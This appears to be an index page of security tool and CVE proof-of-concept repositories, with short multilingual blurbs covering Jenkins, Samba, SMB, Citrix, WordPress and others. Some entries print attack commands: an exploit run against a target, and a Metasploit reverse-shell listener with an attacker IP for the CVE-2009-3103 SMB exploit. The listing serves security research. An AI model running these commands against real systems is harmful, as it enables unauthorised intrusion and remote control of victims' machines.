React2Shell-Vulnerability-Verification-Script

React2Shell भेद्यता सत्यापन स्क्रिप्ट verifyreactvulnerability.py यह स्क्रिप्ट क्या है? यह एक सरल, स्वतंत्र Python स्क्रिप्ट है जिसे आपकी परियोजना में महत्वपूर्ण React2Shell भेद्यता जिसे CVE-2025-55182 के नाम से भी जाना जाता है से प्रभावित होने की तुरंत जाँच करने में मदद के लिए बनाया गया है। यह...

Exploit-CVE-2024-23897

Exploit-CVE-2024-23897 تشغيل الحاوية docker run -p 8080:8080 --name vulnerable-jenkins -d jenkins/jenkins:2.441-jdk17 التحقق من السجلات docker logs الحصول على عنوان IP لحاوية docker docker inspect vulnerable-jenkins | grep IPAddress كود الاستغلال: python3 exploit.py --target http://127.0.0.1:8080...

CVE-2022-33891

「💥」CVE-2022-33891 विवरण Apache Spark UI कॉन्फ़िगरेशन विकल्प spark.acls.enable के माध्यम से ACLs सक्षम करने की संभावना प्रदान करता है। एक प्रमाणीकरण फ़िल्टर के साथ, यह जाँचता है कि किसी उपयोगकर्ता के पास एप्लिकेशन को देखने या संशोधित करने की अनुमति है या नहीं। यदि ACLs सक्षम हैं, तो...

CVE-2026-77823

The LearnPress plugin for WordPress is vulnerable to SQL Injection via the 'orderby' parameter of the exportordercsv AJAX action in versions up to, and including, 4.4.4. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL quer...

CVE-2025-57310

CVE-2025-57310 ثغرة تزوير الطلبات عبر المواقع CSRF في Salmen2/Simple-Faucet-Script الإصدار 1.07 عبر طلب POST مصمم إلى admin.php?p=ads&c=1 تتيح للمهاجمين تنفيذ تعليمات برمجية عشوائية. CWE CWE-352: تزوير الطلبات عبر المواقع CSRF CVSS v3.1 النتيجة الأساسية: 8.8 عالية root@kitploit:...

CVE-2009-3103

CVE-2009-3103 SMB कमजोरी की जाँच करें nmap --script smb-vuln -p139,445 IP-TARGET श्रोता सेट करें sudo msfconsole use exploit/multi/handler set payload windows/meterpreter/reversetcp set LHOST YOUR-KALI-IP set LPORT 80 run एक्सप्लॉइट चलाएँ python3 exploit.py IP-TARGET YOUR-KALI-IP 80...

CVE-2022-38553

CVE-2022-38553 क्रॉस साइट स्क्रिप्टिंग XSS "ACADEMY LEARNING MANAGEMENT SYSTEM" POC वीडियो:...

redact

redact أزل المحتوى الشبيه ببيانات الاعتماد من السلاسل النصية الحرّة قبل أن تصل إلى السجلات أو أنظمة القياس عن بُعد أو أي سطح تابع لجهة خارجية جزء منمجموعة أدوات phpboyscout Go — وحدات Go صغيرة بلا أُطر عمل، مستخرجة من go-tool-base. التوثيق: redact.go.phpboyscout.uk تُزيل...

CVE-2024-20405

विवरण सिस्को फिनेस के वेब-आधारित प्रबंधन इंटरफेस में एक कमजोरी एक अनप्रमाणित, दूरस्थ हमलावर को RFI कमजोरी का शोषण करके संग्रहीत XSS हमला करने की अनुमति दे सकती है। यह कमजोरी प्रभावित उपकरण पर भेजे गए विशिष्ट HTTP अनुरोधों के लिए उपयोगकर्ता द्वारा प्रदत्त इनपुट के अपर्याप्त सत्यापन के कारण होती है...

intel-me-research

Ingénierie inverse du firmware Intel ME — Analyse en direct du CSME 16.x « Votre ordinateur contient un second ordinateur secret. Nous l'avons trouvé, cartographié, et documenté ce qui s'y cache. » 🔥 ESSAYEZ PAR VOUS-MÊME — HECI SPY 🔥 Un script Python. Zéro dépendance. Parlez directement à votre...

CVE-2025-5777

CVE-2025-5777 Citrix NetScaler Memory Leak Exploit !WARNING Ce script est destiné uniquement à des fins éducatives et de recherche. Ne l'utilisez pas contre des systèmes sans autorisation explicite. Tout accès ou test non autorisé est illégal et contraire à l'éthique. Lisez l'intégralité du...

CVE-2014-6287

POC शोषण bash script bash.webm शोषण के बारे में आप .sh फ़ाइल के साथ रिवर्स शेल प्राप्त कर सकते हैं Linux में आप .py फ़ाइल के साथ रिवर्स शेल प्राप्त कर सकते हैं Windows और Linux में Windows में, आपको netcat इंस्टॉल करना होगा आपको URL निर्दिष्ट करना होगा example: http://target.com/ .py के लिए उपयोग...

CVE-2025-57462

CVE-2025-57462 Description : XSS stocké via téléchargement de fichier malveillant dans machpanel 8.0.32. POC : Accédez à https://controlpaneldomain/Client/SubmitTicket.aspx et téléversez un fichier PDF contenant des scripts XSS dans les métadonnées. Après avoir soumis le ticket, vous pouvez...

cve-2020-0601-plugin

Script de test Zeek pour CVE-2020-0601 Ce script peut détecter les tentatives d'exploitation de CVE-2020-0601. Il vérifie si une courbe connue est utilisée dans un certificat - si ce n'est pas le cas, une notification est émise. Exemple de notification dans notice.log : root@kitploit:...

Audit-BlackBox-Web-to-Root

Pentest Lab : Chaîne d'exploitation web et système Drupal to Root Disclaimer Ce projet a été réalisé dans un environnement de laboratoire contrôlé et isolé à des fins éducatives et académiques. Aucune infrastructure réelle n'a été ciblée. L'objectif est d'apprendre à sécuriser les systèmes en...

CVE-2023-39115

CVE-2023-39115 الوصف: Campcodes Online Matrimonial Website System Script v3.3 معرض لثغرة رفع ملفات تعسفية، مما قد يسمح للمهاجمين بتنفيذ كود تعسفي على الخادم المستهدف. تنشأ الثغرة من عدم كفاية التحقق من صحة الملفات المرفوعة، وخاصة ملفات SVG رسومات متجهة قابلة للتحجيم. من خلال استغلال هذه الثغرة،...

CVE-2020-3452_Cisco_ASA_PathTraversal

CVE-2020-3452CiscoASAPathTraversal نص برهان المفهوم لـ CVE-2020-3452 — ثغرة اجتياز المسار في Cisco ASA/FTD. يدعم الاستخراج الآلي للملفات المستهدفة المعروفة بحد أقصى صارم لعمليات التنزيل الناجحة حفاظاً على السلامة. مخصص لاختبار الأمان المصرح به وأغراض البحث فقط. 🔐 وصف مستودع GitHub نص برهان المفهو...

CVE-2007-2447

CVE-2007-2447 - username map script "وظيفة MS-RPC في smbd في Samba من الإصدار 3.0.0 إلى 3.0.25rc3 تسمح للمهاجمين عن بُعد بتنفيذ أوامر عشوائية عبر محارف shell في دالة 1 SamrChangePassword، عندما يكون خيار "username map script" في smb.conf مفعلاً، وتسمح للمستخدمين الموثّقين عن بُعد بتنفيذ أوامر عبر...

PewSWITCH

PewSWITCH CVE-2021-37624 और CVE-2021-41157 के लिए एक FreeSWITCH-विशिष्ट स्कैनिंग और शोषण टूलकिट। संबंधित ब्लॉग: https://0xinfection.github.io/posts/analyzing-freeswitch-vulns/ उपयोग टूल का सहायता कथन नीचे दिया गया है: root@kitploit: $ ./pewswitch --help . / |\ / /| // / / / - |/|/ /\ | |/|/ / / /...

cve-2021-29447_auto-script

CVE-2021-29447 : Vulnérabilité XXE dans la bibliothèque média de WordPress Ce référentiel détaille la vulnérabilité CVE-2021-29447, une faille de sécurité critique dans WordPress qui permettait des attaques XML External Entity XXE authentifiées via la bibliothèque média. Il fournit également un...